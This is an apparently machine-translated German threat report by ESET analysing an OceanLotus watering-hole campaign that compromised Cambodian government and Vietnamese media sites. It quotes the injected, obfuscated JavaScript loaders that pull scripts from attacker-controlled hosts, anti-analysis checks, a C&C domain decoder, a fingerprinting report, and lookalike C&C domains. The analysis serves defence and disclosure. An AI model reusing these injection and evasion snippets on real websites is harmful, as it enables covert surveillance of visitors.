ESET-Spezialisten analysierten die neue Wasserlochkampagne, die auf mehrere Standorte in Südostasien abzielt. Angeblich sind die Angreifer seit Anfang September 2018 im Einsatz. Die Kampagne ist unterschiedlich umfangreich - wir haben 21 gefährdete Ressourcen entdeckt, darunter die Websites des kambodschanischen Verteidigungsministeriums, des Ministeriums für auswärtige Angelegenheiten und internationale Zusammenarbeit in Kambodscha sowie mehrere vietnamesische Zeitungen und Blogs.
Basierend auf der Analyse haben wir festgestellt, dass die Kampagne von der
OceanLotus- Gruppe, auch bekannt als
ART32 und ART-S-00, durchgeführt wird. Die Gruppe ist seit mindestens
2012 tätig und auf Cyberspionage spezialisiert, mit besonderem Interesse an Regierungsbehörden und Dissidenten.
Die Kampagne scheint eine Weiterentwicklung des OceanLotus-Wasserlochschemas zu sein, das Volexity-Forscher 2017 unter dem Namen Framework B
dokumentiert haben . Seit letztem Jahr hat die Cybergroup gelernt, die Analyse ihrer bösartigen Frameworks zu erschweren. Unter anderem haben wir die Verwendung der Verschlüsselung mit öffentlichen Schlüsseln für den Austausch des AES-Sitzungsschlüssels festgestellt. Die Methode wird zum Verschlüsseln des Datenaustauschs verwendet, bei dem Sicherheitsprodukte die endgültige Nutzlast nicht abfangen können. Darüber hinaus haben Angreifer von HTTP zu WebSocket gewechselt, um den Austausch böswilliger Daten zu verbergen.
Jede der von ESET-Experten entdeckten gefährdeten Websites leitete Besucher zu einer separaten Domain weiter, die von OceanLotus kontrolliert wird.
Das Bild unten zeigt die Zielregionen der Kampagne.
Abbildung 1. Geografie gefährdeter StandorteDie meisten kompromittierten Domains sind Nachrichtenmedien oder mit der Regierung von Kambodscha verwandt. Das Folgende ist eine Liste der Opfer. Wir haben sie vor Kompromissen im Oktober gewarnt, aber Ende 2018 blieben auf einigen Websites schädliche Skripte:
- baotgm [.] Net - Vietnamesische Medien (Hauptsitz in Arlington, Texas)
- cnrp7 [.] Org - Website der Nationalen Heilspartei von Kambodscha
- conggiaovietnam [.] Netzreligiöser Inhalt auf Vietnamesisch
- daichungvienvinhthanh [.] Kom - religiöser Inhalt auf Vietnamesisch
- danchimviet [.] Info - Vietnamesische Medien
- danviet [.] Vn - Vietnamesische Medien
- danviethouston [.] Com - Vietnamesische Medien
- fvpoc [.] Org - Vietnamesische öffentliche Organisation
- gardencityclub [.] Com - Golfclub in Phnom Penh, Kambodscha
- lienketqnhn [.] Org - Vietnamesische Medien
- mfaic.gov [.] Kh - Ministerium für auswärtige Angelegenheiten und internationale Zusammenarbeit Kambodschas
- mod.gov [.] Kh - Verteidigungsministerium von Kambodscha
- mtgvinh [.] Netzreligiöser Inhalt auf Vietnamesisch
- nguoitieudung.com [.] Vn - Vietnamesische Medien
- phnompenhpost [.] Com - Kambodschanische Medien in englischer Sprache
- raovatcalitoday [.] Com - Site auf Vietnamesisch
- thongtinchongphandong [.] Oppositionsmedien auf Vietnamesisch
- tinkhongle [.] Com - Vietnamesische Medien
- toithichdoc.blogspot [.] Com - Vietnamesischer Blog
- trieudaiviet [.] Com - Site auf Vietnamesisch
- triviet [.] News - Vietnamesische Medien
Bei Wasserlochangriffen gefährden Angreifer in der Regel Standorte, die häufig von potenziellen Opfern besucht werden. In dieser Kampagne hat die OceanLotus-Gruppe jedoch mehrere beliebte Websites kompromittiert. Nachfolgend finden Sie eine Liste der gefährdeten Websites und deren
Alexa-Bewertung : global und in dem Land, in dem die Website am beliebtesten ist. Zum Beispiel war die Website der Zeitung Dan Viet (danviet [.] Vn) Ende 2018 in Bezug auf die Besucherzahlen in Vietnam in der 116. Zeile.
- danviet [.] Vn - 12 887/116
- phnompenhpost [.] Com - 85 910/18 880
- nguoitieudung.com [.] Vn - 261 801/2 397
- danchimviet [.] Info - 287 852/144 884
- baotgm [.] Net - 675 669/119 737
- toithichdoc.blogspot [.] Com - 700 470/11532
- mfaic.gov [.] Kh - 978 165/2 149
- conggiaovietnam [.] Net - 1.040 548/15 368
- thongtinchongphandong [.] Com - 1 134 691/21 575
- Tinkhongle [.] Com - 1 301 722/15 224
- daichungvienvinhthanh [.] Com - 1.778.418 / 23.428
- mod.gov [.] Kh - 4,247,649 / 3,719
Analyse
Für alle gefährdeten Standorte wurden ähnliche Methoden verwendet. Angreifer haben der Hauptseite oder einer auf demselben Server veröffentlichten JavaScript-Datei einen kleinen Teil des JavaScript-Codes hinzugefügt. Ein leicht verschleiertes Codefragment (siehe unten) lädt ein anderes Skript von einem vom Angreifer kontrollierten Server. Unten finden Sie ein JavaScript-Snippet, das zu
https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js
und die Datei von
https://weblink.selfip[.]info/images/cdn.js?from=maxcdn
herunterlädt
https://weblink.selfip[.]info/images/cdn.js?from=maxcdn
.
(function() { var pt = "http"; var l = document.createElement('script'); l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn'; document.getElementsByTagName('body')[0].appendChild(l) })('web', 'a', 'link', '.self');
Um eine Entdeckung zu vermeiden, haben die Angreifer die folgenden Maßnahmen ergriffen:
- Sie verschleiern Skripte, um zu verhindern, dass statische endgültige URLs zugewiesen werden
- Die URL sieht aus wie die echte JavaScript-Bibliothek, die von der Site verwendet wird
- Für jede gefährdete Site werden eine separate Domäne und ein separater URI verwendet.
- Alle gefährdeten Websites haben unterschiedliche Skripte. Das folgende Skript wird auf einer der gefährdeten Sites implementiert:
var script = document.createElement("script"); var i = 'crash-course'; var s = "fzgbc knowsztall znfo"; var _ = '/'; var e = "VisitorIdentification.js?sa=" + i; script.async = true; script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e; var doc = document.getElementsByTagName('script')[0]; doc.parentNode.insertBefore(script, doc);
Erste Stufe
Abhängig vom Speicherort der IP-Adresse des Besuchers
weblink.selfip[.]info
der Server der ersten Stufe (z. B.
weblink.selfip[.]info
für
mfaic.gov[.]kh
) ein falsches Skript (zufällige legitime JavaScript-Bibliothek) oder ein Skript der ersten Stufe (z. B. SHA-) 1: 2194271C7991D60AE82436129D7F25C0A689050A). Nicht alle Server führen Standortprüfungen durch. Wenn jedoch einer vorhanden ist, erhalten nur Besucher aus Vietnam und Kambodscha ein schädliches Skript.
Das Skript der ersten Stufe verfügt über mehrere Überprüfungen, um die Erkennung zu verhindern, wie unten gezeigt.
[…] function t(n) { var r = this; !function (t, n) { if (!(t instanceof n)) throw new TypeError('Cannot call a class as a function'); }(this, t), this.t = { o: null, s: !0 }, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () { ri || r.scr && !rts && (r.scr = !1, rc(n)), ri = !1; }); } return t.prototype.r = function () { var t = this; setInterval(function () { var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal'; r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (tts = !1, tto = null) : (tts = !0, tto = e); }, 500); } […]
Das Skript wartet, bis das Opfer zur Seite gescrollt hat. Außerdem wird die Fensterauflösung überprüft und geprüft, ob Firebug, ein browserbasiertes Plugin zur Analyse von Webseiten, aktiviert ist. Wenn mindestens eine der Prüfungen fehlschlägt, wird die Ausführung beendet.
Anschließend entschlüsselt er die Domäne des C & C-Befehlsservers mithilfe eines benutzerdefinierten Algorithmus. Beispielsweise steht 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 für
wss://tcog.thruhere[.]net
. Für jede Domäne der ersten Stufe haben die Angreifer zusätzlich eine Domäne der zweiten Stufe registriert, und alle befinden sich auf verschiedenen Servern. Der folgende Code entspricht der in Python geschriebenen Entschlüsselungsfunktion.
def decrypt(encrypted_url): s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2))
Nach dem Entschlüsseln der C & C-Adresse sendet das Skript eine eindeutige Zeichenfolge mit 15 Ziffern und empfängt das Skript der zweiten Stufe und führt es aus. Der Datenaustausch erfolgt über WebSocket oder SSL. Das Protokoll ermöglicht die gleichzeitige bidirektionale Kommunikation zwischen Client und Server. Dies bedeutet, dass der Server, nachdem ein Client eine Verbindung hergestellt hat, auch ohne Anforderung Daten an den Client senden kann. In einem bestimmten Fall wird das Protokoll jedoch hauptsächlich verwendet, um eine Erkennung zu vermeiden.
Zweite Stufe
Das Drehbuch der zweiten Stufe dient der Aufklärung. Die Entwickler von OceanLotus verwendeten die auf
GitHub verfügbare Fingerprintjs2-Bibliothek von Valve mit geringfügigen Änderungen - Hinzufügen der Netzwerkfreigabe und Erstellen eines speziellen Berichts.
Die folgende Abbildung zeigt die verschiedenen vom Skript ausgeführten Aktionen. Die Kommunikation erfolgt über eine WebSocket-Sitzung, die mit dem ersten Schritt begonnen hat.
Abbildung 2. Schema der zweiten Stufe der NutzlastDie Kommunikation wird mit dem vom Server generierten AES-Sitzungsschlüssel verschlüsselt. Es wird mit einem öffentlichen 1024-Bit-RSA-Schlüssel verschlüsselt und an den Client gesendet, sodass der Datenaustausch zwischen Client und Server nicht entschlüsselt werden kann.
Im Vergleich zu früheren Versionen des OceanLotus-Frameworks für Wasserlöcher ist es schwieriger, sich davor zu schützen, da die Datenübertragung über das Netzwerk nicht erkannt und entschlüsselt werden kann. Dies verhindert die Netzwerkerkennung von Daten. Der vom Server übertragene öffentliche Schlüssel ändert sich nicht und ist im Abschnitt IoC aufgeführt.
Das Aufklärungsskript erstellt einen Bericht ähnlich dem folgenden und sendet ihn an den C & C-Server der zweiten Stufe.
{ "history": { "client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-", "client_url": "https://www.mfaic.gov.kh/", "client_cookie": "", "client_hash": "", "client_referrer": "https://www.mfaic.gov.kh/foreign-ngos", "client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36", "client_time": "2018-10-21T12:43:25.254Z", "timezone": "Asia/Bangkok", "client_network_ip_list": [ "192.168.xx", "xxxx" ], "client_api": "wss://tcog.thruhere.net/", "client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7", "client_uuid": "a612cdb028e1571dcab18e4aa316da26" }, "navigator": { "plugins": { "activex": false, "cors": true, "flash": false, "java": false, "foxit": true, "phonegap": false, "quicktime": false, "realplayer": false, "silverlight": false, "touch": false, "vbscript": false, "vlc": false, "webrtc": true, "wmp": false }, "_screen": { "width": 1920, "height": 1080, "availWidth": 1920, "availHeight": 1080, "resolution": "1920x1080" }, "_plugins": [ [...]
Dieser Bericht ist fast identisch mit dem anderen, der vom
OceanLotus Framework B erstellt wurde und 2017 von Volexity dokumentiert wurde. Ihre Abschnitte sind ähnlich und enthalten identische Tippfehler. Aufgrund dieser Ähnlichkeit und Lage der Ziele können wir mit hoher Sicherheit sagen, dass OceanLotus die Kampagne durchführt.
Der generierte Bericht enthält detaillierte Informationen zum Browser des Opfers und zur besuchten Site: Benutzeragent, HTTP-Referer-Anforderungsheader, lokale und externe IP-Adresse, Plug-Ins und Einstellungen für die Browsersprache.
Darüber hinaus verfügt jeder Computer über zwei eindeutige Kennungen:
client_zuuid und
client_uuid . Sie können verwendet werden, um Benutzer zu identifizieren und ihre Besuche zu verfolgen. Diese Bezeichner waren in der Version 2017 des Frameworks tatsächlich vorhanden, und
client_uuid wurde auf ähnliche Weise berechnet.
Der Wert von
client_zuuid ist die Verkettung der verschiedenen Geräte-ID-Werte in navigator.mediaDevices.enumerateDevices. Geräte sind externe Geräte, auf die der Browser Zugriff hat, z. B. Kameras und Mikrofone. Daher muss der Wert für einen Benutzer bei verschiedenen Besuchen auf demselben Computer übereinstimmen.
Der Wert
client_uuid ist der MD5-Hash der von fingerprintjs2 zugewiesenen Fingerabdrücke. Die gesammelten Daten umfassen den Browser-Benutzeragenten, die Sprache, die Zeitzone, Browser-Plug-Ins und über den Browser zugängliche Schriftarten. Und wieder - der Wert sollte für alle Besuche nur dann identisch sein, wenn der Benutzer beispielsweise den Browser nicht aktualisiert oder sich nicht von einem anderen Gerät aus anmeldet.
Schließlich kann der Server zusätzlichen JavaScript-Code an den Computer des Opfers senden. Möglicherweise ist dies die gelieferte Komponente. Leider konnten wir aufgrund der Verwendung des AES-Sitzungsschlüssels zum Entschlüsseln des Datenaustauschs nicht feststellen, welche Komponente von Eindringlingen in In-the-Wild-Proben bereitgestellt wird. Außerdem wird die Nutzlast nur an bestimmte Opfer geliefert. Daher konnten wir sie mit einer Testmaschine nicht bekommen. Laut früheren Berichten zielen die Wasserlochkampagnen von OceanLotus jedoch auf Phishing ab. Zum Beispiel schrieb Volexity in einem Bericht
, dass Benutzer ein Popup-Fenster sahen, in dem sie aufgefordert wurden, den Zugriff über das offene OAuth-Protokoll auf das Google-Konto des Opfers für die OceanLotus-Google-App zu autorisieren. Mit dieser Technik können Angreifer auf die Kontakte und E-Mails des Opfers zugreifen.
Netzwerkinfrastruktur
Für maximale verdeckte Arbeit haben die OceanLotus-Betreiber für jede der gefährdeten Sites eine Domain für die erste und zweite Stufe registriert. Jede Domain wird auf einem separaten Server mit einer eigenen IP-Adresse gehostet. Für diese Kampagne sind mindestens 50 Domains und 50 Server registriert.
Die meisten Domains der ersten Stufe sind für Dienste mit kostenlosen Domainnamen registriert, Domains der zweiten Stufe werden hauptsächlich bezahlt. Unter anderem werden ihre Namen als legitim getarnt. Unten finden Sie eine Liste der Dienste, die Angreifer zu kopieren versucht haben - C & C bzw. eine legitime Domain:
- cdn-ampproject [.] Com / cdn.ampproject.com
- bootstraplink [.] Com / getbootstrap.com
- sskimresources [.] Com / s.skimresources.com
- widgets-wp [.] Com / widgets.wp.com
Die Anzahl der verwendeten Domänen und ihre Ähnlichkeit mit legitimen Websites kann die Erkennung durch eine Person erschweren, die den Netzwerkverkehr anzeigt.
Fazit
Trotz der Aufmerksamkeit von Sicherheitsforschern greift OceanLotus weiterhin erfolgreich Ziele in Südostasien an. Darüber hinaus verbessert die Gruppe die Tools, indem sie ein Framework für Wasserlochangriffe, eine Malware für Windows und MacOS in ihr Arsenal aufnimmt. Jüngste in diesem Bericht diskutierte Framework-Updates zeigen, dass Angreifer ihre Fähigkeiten verbessert haben.
Um die Anzahl möglicher Opfer zu begrenzen, haben wir die Eigentümer der gefährdeten Websites benachrichtigt und erklärt, wie der schädliche JavaScript-Code entfernt werden kann. Einige von ihnen zeigten jedoch keine Bereitschaft, Informationen und Unterstützung anzunehmen.
ESET-Forscher werden die Entwicklung der OceanLotus-Gruppe weiterhin überwachen. Kompromissindikatoren finden Sie auf
GitHub .